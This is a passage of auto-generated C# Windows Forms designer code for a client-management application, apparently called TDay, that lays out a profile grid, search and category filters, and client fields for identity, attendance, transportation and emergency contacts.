new System.Drawing.Size(343, 615); this.dataGridView1.TabIndex = 3; this.dataGridView1.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dataGridView1_CellClick); // // profileIdDataGridViewTextBoxColumn // this.profileIdDataGridViewTextBoxColumn.DataPropertyName = "ProfileId"; this.profileIdDataGridViewTextBoxColumn.HeaderText = "ID"; this.profileIdDataGridViewTextBoxColumn.Name = "profileIdDataGridViewTextBoxColumn"; this.profileIdDataGridViewTextBoxColumn.ReadOnly = true; this.profileIdDataGridViewTextBoxColumn.Width = 40; // // categoryDataGridViewTextBoxColumn // this.categoryDataGridViewTextBoxColumn.DataPropertyName = "Category"; this.categoryDataGridViewTextBoxColumn.DataSource = this.categoriesBindingSource; this.categoryDataGridViewTextBoxColumn.DisplayMember = "CategoryName"; this.categoryDataGridViewTextBoxColumn.DisplayStyle = System.Windows.Forms.DataGridViewComboBoxDisplayStyle.Nothing; this.categoryDataGridViewTextBoxColumn.HeaderText = "Category"; this.categoryDataGridViewTextBoxColumn.Name = "categoryDataGridViewTextBoxColumn"; this.categoryDataGridViewTextBoxColumn.ReadOnly = true; this.categoryDataGridViewTextBoxColumn.Resizable = System.Windows.Forms.DataGridViewTriState.True; this.categoryDataGridViewTextBoxColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; this.categoryDataGridViewTextBoxColumn.ValueMember = "CategoryId"; // // categoriesBindingSource // this.categoriesBindingSource.DataMember = "Categories"; this.categoriesBindingSource.DataSource = this.tDayDataSet; // // nameDataGridViewTextBoxColumn // this.nameDataGridViewTextBoxColumn.DataPropertyName = "Name"; this.nameDataGridViewTextBoxColumn.HeaderText = "Name"; this.nameDataGridViewTextBoxColumn.Name = "nameDataGridViewTextBoxColumn"; this.nameDataGridViewTextBoxColumn.ReadOnly = true; this.nameDataGridViewTextBoxColumn.Width = 200; // // toolStrip6 // this.toolStrip6.GripStyle = System.Windows.Forms.ToolStripGripStyle.Hidden; this.toolStrip6.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.toolStripLabel3, this.toolStripComboBox1}); this.toolStrip6.Location = new System.Drawing.Point(0, 37); this.toolStrip6.Name = "toolStrip6"; this.toolStrip6.RenderMode = System.Windows.Forms.ToolStripRenderMode.System; this.toolStrip6.Size = new System.Drawing.Size(343, 35); this.toolStrip6.TabIndex = 2; this.toolStrip6.Text = "toolStrip6"; // // toolStripLabel3 // this.toolStripLabel3.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.toolStripLabel3.ForeColor = System.Drawing.Color.DimGray; this.toolStripLabel3.Name = "toolStripLabel3"; this.toolStripLabel3.Size = new System.Drawing.Size(85, 32); this.toolStripLabel3.Text = "Category:"; // // toolStripComboBox1 // this.toolStripComboBox1.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; this.toolStripComboBox1.FlatStyle = System.Windows.Forms.FlatStyle.Standard; this.toolStripComboBox1.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.toolStripComboBox1.ForeColor = System.Drawing.Color.DimGray; this.toolStripComboBox1.Items.AddRange(new object[] { "All", "Client", "Employee", "Volunteer", "Board Member", "Other"}); this.toolStripComboBox1.Margin = new System.Windows.Forms.Padding(1, 3, 1, 3); this.toolStripComboBox1.Name = "toolStripComboBox1"; this.toolStripComboBox1.Size = new System.Drawing.Size(200, 29); this.toolStripComboBox1.SelectedIndexChanged += new System.EventHandler(this.toolStripComboBox1_SelectedIndexChanged); // // toolStrip5 // this.toolStrip5.GripStyle = System.Windows.Forms.ToolStripGripStyle.Hidden; this.toolStrip5.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.toolStripButton4, this.toolStripTextBox1}); this.toolStrip5.Location = new System.Drawing.Point(0, 0); this.toolStrip5.Name = "toolStrip5"; this.toolStrip5.RenderMode = System.Windows.Forms.ToolStripRenderMode.System; this.toolStrip5.Size = new System.Drawing.Size(343, 37); this.toolStrip5.TabIndex = 1; this.toolStrip5.Text = "toolStrip5"; // // toolStripButton4 // this.toolStripButton4.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; this.toolStripButton4.DisplayStyle = System.Windows.Forms.ToolStripItemDisplayStyle.Image; this.toolStripButton4.Image = ((System.Drawing.Image)(resources.GetObject("toolStripButton4.Image"))); this.toolStripButton4.ImageScaling = System.Windows.Forms.ToolStripItemImageScaling.None; this.toolStripButton4.ImageTransparentColor = System.Drawing.Color.Magenta; this.toolStripButton4.Name = "toolStripButton4"; this.toolStripButton4.Size = new System.Drawing.Size(34, 34); this.toolStripButton4.Text = "toolStripButton4"; // // toolStripTextBox1 // this.toolStripTextBox1.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.toolStripTextBox1.Name = "toolStripTextBox1"; this.toolStripTextBox1.Size = new System.Drawing.Size(250, 37); this.toolStripTextBox1.TextChanged += new System.EventHandler(this.toolStripTextBox1_TextChanged); // // toolStrip3 // this.toolStrip3.GripStyle = System.Windows.Forms.ToolStripGripStyle.Hidden; this.toolStrip3.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.toolStripButton3, this.toolStripTextBox3}); this.toolStrip3.Location = new System.Drawing.Point(0, 0); this.toolStrip3.Margin = new System.Windows.Forms.Padding(1); this.toolStrip3.Name = "toolStrip3"; this.toolStrip3.Padding = new System.Windows.Forms.Padding(0, 4, 0, 4); this.toolStrip3.RenderMode = System.Windows.Forms.ToolStripRenderMode.System; this.toolStrip3.Size = new System.Drawing.Size(343, 36); this.toolStrip3.TabIndex = 0; this.toolStrip3.Text = "toolStrip3"; this.toolStrip3.Visible = false; // // toolStripButton3 // this.toolStripButton3.DisplayStyle = System.Windows.Forms.ToolStripItemDisplayStyle.Image; this.toolStripButton3.Image = ((System.Drawing.Image)(resources.GetObject("toolStripButton3.Image"))); this.toolStripButton3.ImageTransparentColor = System.Drawing.Color.Magenta; this.toolStripButton3.Name = "toolStripButton3"; this.toolStripButton3.Size = new System.Drawing.Size(23, 25); this.toolStripButton3.Text = "toolStripButton3"; // // toolStripTextBox3 // this.toolStripTextBox3.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.toolStripTextBox3.Name = "toolStripTextBox3"; this.toolStripTextBox3.Size = new System.Drawing.Size(100, 28); // // button8 // this.button8.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.button8.ForeColor = System.Drawing.Color.DimGray; this.button8.Location = new System.Drawing.Point(7, 821); this.button8.Name = "button8"; this.button8.Size = new System.Drawing.Size(151, 45); this.button8.TabIndex = 34; this.button8.Text = "Accept changes"; this.button8.UseVisualStyleBackColor = true; this.button8.Click += new System.EventHandler(this.button8_Click); // // button7 // this.button7.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.button7.ForeColor = System.Drawing.Color.DimGray; this.button7.Location = new System.Drawing.Point(574, 821); this.button7.Name = "button7"; this.button7.Size = new System.Drawing.Size(135, 45); this.button7.TabIndex = 33; this.button7.Text = "Delete"; this.button7.UseVisualStyleBackColor = true; this.button7.Click += new System.EventHandler(this.button7_Click); // // button6 // this.button6.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.button6.ForeColor = System.Drawing.Color.DimGray; this.button6.Location = new System.Drawing.Point(410, 821); this.button6.Name = "button6"; this.button6.Size = new System.Drawing.Size(158, 45); this.button6.TabIndex = 32; this.button6.Text = "Print information"; this.button6.UseVisualStyleBackColor = true; // // button5 // this.button5.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.button5.ForeColor = System.Drawing.Color.DimGray; this.button5.Location = new System.Drawing.Point(261, 821); this.button5.Name = "button5"; this.button5.Size = new System.Drawing.Size(135, 45); this.button5.TabIndex = 31; this.button5.Text = "Print envelope"; this.button5.UseVisualStyleBackColor = true; // // tabControl2 // this.tabControl2.Controls.Add(this.ClientTab); this.tabControl2.Controls.Add(this.EmployeeTab); this.tabControl2.Controls.Add(this.VolunteerTab); this.tabControl2.Controls.Add(this.Board_MemberTab); this.tabControl2.Controls.Add(this.OtherTab); this.tabControl2.Location = new System.Drawing.Point(3, 0); this.tabControl2.Name = "tabControl2"; this.tabControl2.SelectedIndex = 0; this.tabControl2.Size = new System.Drawing.Size(727, 815); this.tabControl2.TabIndex = 30; // // ClientTab // this.ClientTab.BackColor = System.Drawing.SystemColors.Control; this.ClientTab.Controls.Add(this.groupBox1); this.ClientTab.Controls.Add(this.groupBox5); this.ClientTab.Controls.Add(this.groupBox4); this.ClientTab.Controls.Add(this.groupBox3); this.ClientTab.Controls.Add(this.groupBox2); this.ClientTab.Location = new System.Drawing.Point(4, 22); this.ClientTab.Name = "ClientTab"; this.ClientTab.Padding = new System.Windows.Forms.Padding(3); this.ClientTab.Size = new System.Drawing.Size(719, 789); this.ClientTab.TabIndex = 0; this.ClientTab.Text = "tabPage1"; // // groupBox1 // this.groupBox1.Controls.Add(this.label2); this.groupBox1.Controls.Add(this.textBox_ClientName); this.groupBox1.Controls.Add(this.label3); this.groupBox1.Controls.Add(this.textBox_ClientBirth); this.groupBox1.Controls.Add(this.ClientMember); this.groupBox1.Controls.Add(this.label4); this.groupBox1.Controls.Add(this.textBox_ClientParis); this.groupBox1.Controls.Add(this.textBox_ClientHD); this.groupBox1.Controls.Add(this.label5); this.groupBox1.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.groupBox1.ForeColor = System.Drawing.Color.DarkGray; this.groupBox1.Location = new System.Drawing.Point(6, 6); this.groupBox1.Name = "groupBox1"; this.groupBox1.Size = new System.Drawing.Size(712, 183); this.groupBox1.TabIndex = 29; this.groupBox1.TabStop = false; this.groupBox1.Text = "Profile"; // // label2 // this.label2.AutoSize = true; this.label2.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label2.ForeColor = System.Drawing.Color.DimGray; this.label2.Location = new System.Drawing.Point(6, 34); this.label2.Name = "label2"; this.label2.Size = new System.Drawing.Size(61, 21); this.label2.TabIndex = 2; this.label2.Text = "Name:"; // // textBox_ClientName // this.textBox_ClientName.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_ClientName.ForeColor = System.Drawing.Color.DimGray; this.textBox_ClientName.Location = new System.Drawing.Point(158, 27); this.textBox_ClientName.Name = "textBox_ClientName"; this.textBox_ClientName.Size = new System.Drawing.Size(543, 28); this.textBox_ClientName.TabIndex = 7; this.textBox_ClientName.TextChanged += new System.EventHandler(this.textBox_ClientName_TextChanged); // // label3 // this.label3.AutoSize = true; this.label3.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label3.ForeColor = System.Drawing.Color.DimGray; this.label3.Location = new System.Drawing.Point(6, 69); this.label3.Name = "label3"; this.label3.Size = new System.Drawing.Size(123, 21); this.label3.TabIndex = 3; this.label3.Text = "Date of Birth :"; // // textBox_ClientBirth // this.textBox_ClientBirth.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_ClientBirth.ForeColor = System.Drawing.Color.DimGray; this.textBox_ClientBirth.Location = new System.Drawing.Point(158, 66); this.textBox_ClientBirth.MaxLength = 10; this.textBox_ClientBirth.Name = "textBox_ClientBirth"; this.textBox_ClientBirth.Size = new System.Drawing.Size(200, 28); this.textBox_ClientBirth.TabIndex = 8; this.textBox_ClientBirth.TextChanged += new System.EventHandler(this.textBox_ClientBirth_TextChanged); // // ClientMember // this.ClientMember.AutoSize = true; this.ClientMember.CheckAlign = System.Drawing.ContentAlignment.MiddleRight; this.ClientMember.Checked = true; this.ClientMember.CheckState = System.Windows.Forms.CheckState.Checked; this.ClientMember.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.ClientMember.ForeColor = System.Drawing.Color.DimGray; this.ClientMember.Location = new System.Drawing.Point(460, 68); this.ClientMember.Name = "ClientMember"; this.ClientMember.Size = new System.Drawing.Size(95, 25); this.ClientMember.TabIndex = 6; this.ClientMember.Text = "Member"; this.ClientMember.TextImageRelation = System.Windows.Forms.TextImageRelation.TextAboveImage; this.ClientMember.UseVisualStyleBackColor = true; // // label4 // this.label4.AutoSize = true; this.label4.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label4.ForeColor = System.Drawing.Color.DimGray; this.label4.Location = new System.Drawing.Point(6, 108); this.label4.Name = "label4"; this.label4.Size = new System.Drawing.Size(148, 21); this.label4.TabIndex = 4; this.label4.Text = "PARIS Number :"; // // textBox_ClientParis // this.textBox_ClientParis.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_ClientParis.ForeColor = System.Drawing.Color.DimGray; this.textBox_ClientParis.Location = new System.Drawing.Point(158, 105); this.textBox_ClientParis.Name = "textBox_ClientParis"; this.textBox_ClientParis.Size = new System.Drawing.Size(200, 28); this.textBox_ClientParis.TabIndex = 9; // // textBox_ClientHD // this.textBox_ClientHD.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_ClientHD.ForeColor = System.Drawing.Color.DimGray; this.textBox_ClientHD.Location = new System.Drawing.Point(158, 139); this.textBox_ClientHD.Name = "textBox_ClientHD"; this.textBox_ClientHD.Size = new System.Drawing.Size(200, 28); this.textBox_ClientHD.TabIndex = 11; // // label5 // this.label5.AutoSize = true; this.label5.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label5.ForeColor = System.Drawing.Color.DimGray; this.label5.Location = new System.Drawing.Point(6, 142); this.label5.Name = "label5"; this.label5.Size = new System.Drawing.Size(119, 21); this.label5.TabIndex = 10; this.label5.Text = "HD Number :"; // // groupBox5 // this.groupBox5.Controls.Add(this.checkBox7); this.groupBox5.Controls.Add(this.checkBox11); this.groupBox5.Controls.Add(this.checkBox8); this.groupBox5.Controls.Add(this.checkBox10); this.groupBox5.Controls.Add(this.checkBox9); this.groupBox5.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.groupBox5.ForeColor = System.Drawing.Color.DarkGray; this.groupBox5.Location = new System.Drawing.Point(5, 713); this.groupBox5.Name = "groupBox5"; this.groupBox5.Size = new System.Drawing.Size(713, 73); this.groupBox5.TabIndex = 28; this.groupBox5.TabStop = false; this.groupBox5.Text = "Transportation"; // // checkBox7 // this.checkBox7.AutoSize = true; this.checkBox7.Checked = true; this.checkBox7.CheckState = System.Windows.Forms.CheckState.Checked; this.checkBox7.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.checkBox7.ForeColor = System.Drawing.Color.DimGray; this.checkBox7.Location = new System.Drawing.Point(439, 30); this.checkBox7.Name = "checkBox7"; this.checkBox7.Size = new System.Drawing.Size(82, 25); this.checkBox7.TabIndex = 21; this.checkBox7.Text = "Friday"; this.checkBox7.TextImageRelation = System.Windows.Forms.TextImageRelation.TextAboveImage; this.checkBox7.UseVisualStyleBackColor = true; // // checkBox11 // this.checkBox11.AutoSize = true; this.checkBox11.Checked = true; this.checkBox11.CheckState = System.Windows.Forms.CheckState.Checked; this.checkBox11.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.checkBox11.ForeColor = System.Drawing.Color.DimGray; this.checkBox11.Location = new System.Drawing.Point(10, 30); this.checkBox11.Name = "checkBox11"; this.checkBox11.Size = new System.Drawing.Size(92, 25); this.checkBox11.TabIndex = 17; this.checkBox11.Text = "Monday"; this.checkBox11.TextImageRelation = System.Windows.Forms.TextImageRelation.TextAboveImage; this.checkBox11.UseVisualStyleBackColor = true; // // checkBox8 // this.checkBox8.AutoSize = true; this.checkBox8.Checked = true; this.checkBox8.CheckState = System.Windows.Forms.CheckState.Checked; this.checkBox8.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.checkBox8.ForeColor = System.Drawing.Color.DimGray; this.checkBox8.Location = new System.Drawing.Point(331, 30); this.checkBox8.Name = "checkBox8"; this.checkBox8.Size = new System.Drawing.Size(105, 25); this.checkBox8.TabIndex = 20; this.checkBox8.Text = "Thursday"; this.checkBox8.TextImageRelation = System.Windows.Forms.TextImageRelation.TextAboveImage; this.checkBox8.UseVisualStyleBackColor = true; // // checkBox10 // this.checkBox10.AutoSize = true; this.checkBox10.Checked = true; this.checkBox10.CheckState = System.Windows.Forms.CheckState.Checked; this.checkBox10.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.checkBox10.ForeColor = System.Drawing.Color.DimGray; this.checkBox10.Location = new System.Drawing.Point(108, 30); this.checkBox10.Name = "checkBox10"; this.checkBox10.Size = new System.Drawing.Size(95, 25); this.checkBox10.TabIndex = 18; this.checkBox10.Text = "Tuesday"; this.checkBox10.TextImageRelation = System.Windows.Forms.TextImageRelation.TextAboveImage; this.checkBox10.UseVisualStyleBackColor = true; // // checkBox9 // this.checkBox9.AutoSize = true; this.checkBox9.Checked = true; this.checkBox9.CheckState = System.Windows.Forms.CheckState.Checked; this.checkBox9.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.checkBox9.ForeColor = System.Drawing.Color.DimGray; this.checkBox9.Location = new System.Drawing.Point(206, 30); this.checkBox9.Name = "checkBox9"; this.checkBox9.Size = new System.Drawing.Size(119, 25); this.checkBox9.TabIndex = 19; this.checkBox9.Text = "Wednesday"; this.checkBox9.TextImageRelation = System.Windows.Forms.TextImageRelation.TextAboveImage; this.checkBox9.UseVisualStyleBackColor = true; // // groupBox4 // this.groupBox4.Controls.Add(this.checkBox6); this.groupBox4.Controls.Add(this.checkBox5); this.groupBox4.Controls.Add(this.checkBox4); this.groupBox4.Controls.Add(this.checkBox3); this.groupBox4.Controls.Add(this.checkBox2); this.groupBox4.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.groupBox4.ForeColor = System.Drawing.Color.DarkGray; this.groupBox4.Location = new System.Drawing.Point(6, 639); this.groupBox4.Name = "groupBox4"; this.groupBox4.Size = new System.Drawing.Size(712, 68); this.groupBox4.TabIndex = 27; this.groupBox4.TabStop = false; this.groupBox4.Text = "Attendance"; // // checkBox6 // this.checkBox6.AutoSize = true; this.checkBox6.Checked = true; this.checkBox6.CheckState = System.Windows.Forms.CheckState.Checked; this.checkBox6.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.checkBox6.ForeColor = System.Drawing.Color.DimGray; this.checkBox6.Location = new System.Drawing.Point(440, 28); this.checkBox6.Name = "checkBox6"; this.checkBox6.Size = new System.Drawing.Size(82, 25); this.checkBox6.TabIndex = 16; this.checkBox6.Text = "Friday"; this.checkBox6.TextImageRelation = System.Windows.Forms.TextImageRelation.TextAboveImage; this.checkBox6.UseVisualStyleBackColor = true; // // checkBox5 // this.checkBox5.AutoSize = true; this.checkBox5.Checked = true; this.checkBox5.CheckState = System.Windows.Forms.CheckState.Checked; this.checkBox5.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.checkBox5.ForeColor = System.Drawing.Color.DimGray; this.checkBox5.Location = new System.Drawing.Point(332, 28); this.checkBox5.Name = "checkBox5"; this.checkBox5.Size = new System.Drawing.Size(105, 25); this.checkBox5.TabIndex = 15; this.checkBox5.Text = "Thursday"; this.checkBox5.TextImageRelation = System.Windows.Forms.TextImageRelation.TextAboveImage; this.checkBox5.UseVisualStyleBackColor = true; // // checkBox4 // this.checkBox4.AutoSize = true; this.checkBox4.Checked = true; this.checkBox4.CheckState = System.Windows.Forms.CheckState.Checked; this.checkBox4.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.checkBox4.ForeColor = System.Drawing.Color.DimGray; this.checkBox4.Location = new System.Drawing.Point(207, 28); this.checkBox4.Name = "checkBox4"; this.checkBox4.Size = new System.Drawing.Size(119, 25); this.checkBox4.TabIndex = 14; this.checkBox4.Text = "Wednesday"; this.checkBox4.TextImageRelation = System.Windows.Forms.TextImageRelation.TextAboveImage; this.checkBox4.UseVisualStyleBackColor = true; // // checkBox3 // this.checkBox3.AutoSize = true; this.checkBox3.Checked = true; this.checkBox3.CheckState = System.Windows.Forms.CheckState.Checked; this.checkBox3.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.checkBox3.ForeColor = System.Drawing.Color.DimGray; this.checkBox3.Location = new System.Drawing.Point(109, 28); this.checkBox3.Name = "checkBox3"; this.checkBox3.Size = new System.Drawing.Size(95, 25); this.checkBox3.TabIndex = 13; this.checkBox3.Text = "Tuesday"; this.checkBox3.TextImageRelation = System.Windows.Forms.TextImageRelation.TextAboveImage; this.checkBox3.UseVisualStyleBackColor = true; // // checkBox2 // this.checkBox2.AutoSize = true; this.checkBox2.Checked = true; this.checkBox2.CheckState = System.Windows.Forms.CheckState.Checked; this.checkBox2.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.checkBox2.ForeColor = System.Drawing.Color.DimGray; this.checkBox2.Location = new System.Drawing.Point(11, 28); this.checkBox2.Name = "checkBox2"; this.checkBox2.Size = new System.Drawing.Size(92, 25); this.checkBox2.TabIndex = 12; this.checkBox2.Text = "Monday"; this.checkBox2.TextImageRelation = System.Windows.Forms.TextImageRelation.TextAboveImage; this.checkBox2.UseVisualStyleBackColor = true; // // groupBox3 // this.groupBox3.Controls.Add(this.textBox_ClientRelation); this.groupBox3.Controls.Add(this.label15); this.groupBox3.Controls.Add(this.panel3); this.groupBox3.Controls.Add(this.label19); this.groupBox3.Controls.Add(this.textBox_ClientPharmPhone); this.groupBox3.Controls.Add(this.textBox_ClientPharmName); this.groupBox3.Controls.Add(this.label18); this.groupBox3.Controls.Add(this.textBoxClientDocPhone); this.groupBox3.Controls.Add(this.label17); this.groupBox3.Controls.Add(this.textBox_ClientDocName); this.groupBox3.Controls.Add(this.label16); this.groupBox3.Controls.Add(this.textBox_ClientEmPhone); this.groupBox3.Controls.Add(this.label14); this.groupBox3.Controls.Add(this.label13); this.groupBox3.Controls.Add(this.textBox_ClientEmerName); this.groupBox3.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.groupBox3.ForeColor = System.Drawing.Color.DarkGray; this.groupBox3.Location = new System.Drawing.Point(7, 385); this.groupBox3.Name = "groupBox3"; this.groupBox3.Size = new System.Drawing.Size(711, 248); this.groupBox3.TabIndex = 25; this.groupBox3.TabStop = false; this.groupBox3.Text = "Emergency"; // // textBox_ClientRelation // this.textBox_ClientRelation.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_ClientRelation.ForeColor = System.Drawing.Color.DimGray; this.textBox_ClientRelation.Location = new System.Drawing.Point(158, 69); this.textBox_ClientRelation.Name = "textBox_ClientRelation"; this.textBox_ClientRelation.Size = new System.Drawing.Size(200, 28); this.textBox_ClientRelation.TabIndex = 38; // // label15 // this.label15.AutoSize = true; this.label15.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label15.ForeColor = System.Drawing.Color.DimGray; this.label15.Location = new System.Drawing.Point(6, 72); this.label15.Name = "label15"; this.label15.Size = new System.Drawing.Size(86, 21); this.label15.TabIndex = 37; this.label15.Text = "Relation :"; // // panel3 // this.panel3.Controls.Add(this.toolStrip2); this.panel3.Location = new System.Drawing.Point(4, 103); this.panel3.Name = "panel3"; this.panel3.Size = new System.Drawing.Size(702, 71); this.panel3.TabIndex = 36; // // toolStrip2 // this.toolStrip2.BackColor = System.Drawing.Color.Transparent; this.toolStrip2.Dock = System.Windows.Forms.DockStyle.Fill; this.toolStrip2.GripStyle = System.Windows.Forms.ToolStripGripStyle.Hidden; this.toolStrip2.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.toolStripButton2, this.toolStripLabel1, this.DopEmerClientName, this.toolStripLabel2, this.DopEmerClientPhone, this.toolStripLabel4, this.toolStripTextBox2}); this.toolStrip2.LayoutStyle = System.Windows.Forms.ToolStripLayoutStyle.Flow; this.toolStrip2.Location = new System.Drawing.Point(0, 0); this.toolStrip2.Margin = new System.Windows.Forms.Padding(0, 0, 2, 0); this.toolStrip2.Name = "toolStrip2"; this.toolStrip2.Padding = new System.Windows.Forms.Padding(0); this.toolStrip2.RenderMode = System.Windows.Forms.ToolStripRenderMode.System; this.toolStrip2.Size = new System.Drawing.Size(702, 71); this.toolStrip2.TabIndex = 0; this.toolStrip2.Text = "toolStrip2"; // // toolStripButton2 // this.toolStripButton2.Font = new System.Drawing.Font("Segoe UI", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(204))); this.toolStripButton2.Image = global::TDay.Properties.Resources.AddButton; this.toolStripButton2.ImageScaling = System.Windows.Forms.ToolStripItemImageScaling.None; this.toolStripButton2.ImageTransparentColor = System.Drawing.Color.Magenta; this.toolStripButton2.Margin = new System.Windows.Forms.Padding(0); this.toolStripButton2.Name = "toolStripButton2"; this.toolStripButton2.Size = new System.Drawing.Size(207, 34); this.toolStripButton2.Text = "Add emergency contact"; this.toolStripButton2.Click += new System.EventHandler(this.toolStripButton2_Click); // // toolStripLabel1 // this.toolStripLabel1.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.toolStripLabel1.ForeColor = System.Drawing.Color.DarkGray; this.toolStripLabel1.Name = "toolStripLabel1"; this.toolStripLabel1.Size = new System.Drawing.Size(139, 21); this.toolStripLabel1.Text = "Emergency CN :"; this.toolStripLabel1.Visible = false; // // DopEmerClientName // this.DopEmerClientName.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.DopEmerClientName.Margin = new System.Windows.Forms.Padding(13, 0, 1, 0); this.DopEmerClientName.Name = "DopEmerClientName"; this.DopEmerClientName.Size = new System.Drawing.Size(200, 28); this.DopEmerClientName.Visible = false; // // toolStripLabel2 // this.toolStripLabel2.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.toolStripLabel2.ForeColor = System.Drawing.Color.DarkGray; this.toolStripLabel2.Margin = new System.Windows.Forms.Padding(6, 1, 0, 2); this.toolStripLabel2.Name = "toolStripLabel2"; this.toolStripLabel2.Size = new System.Drawing.Size(138, 21); this.toolStripLabel2.Text = "Emergency CP :"; this.toolStripLabel2.Visible = false; // // DopEmerClientPhone // this.DopEmerClientPhone.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.DopEmerClientPhone.Margin = new System.Windows.Forms.Padding(0); this.DopEmerClientPhone.Name = "DopEmerClientPhone"; this.DopEmerClientPhone.Size = new System.Drawing.Size(200, 28); this.DopEmerClientPhone.Visible = false; // // toolStripLabel4 // this.toolStripLabel4.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.toolStripLabel4.Margin = new System.Windows.Forms.Padding(0, 5, 0, 2); this.toolStripLabel4.Name = "toolStripLabel4"; this.toolStripLabel4.Size = new System.Drawing.Size(82, 21); this.toolStripLabel4.Text = "Relation:"; this.toolStripLabel4.Visible = false; // // toolStripTextBox2 // this.toolStripTextBox2.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.toolStripTextBox2.Margin = new System.Windows.Forms.Padding(70, 3, 1, 0); this.toolStripTextBox2.Name = "toolStripTextBox2"; this.toolStripTextBox2.Size = new System.Drawing.Size(200, 28); this.toolStripTextBox2.Visible = false; // // label19 // 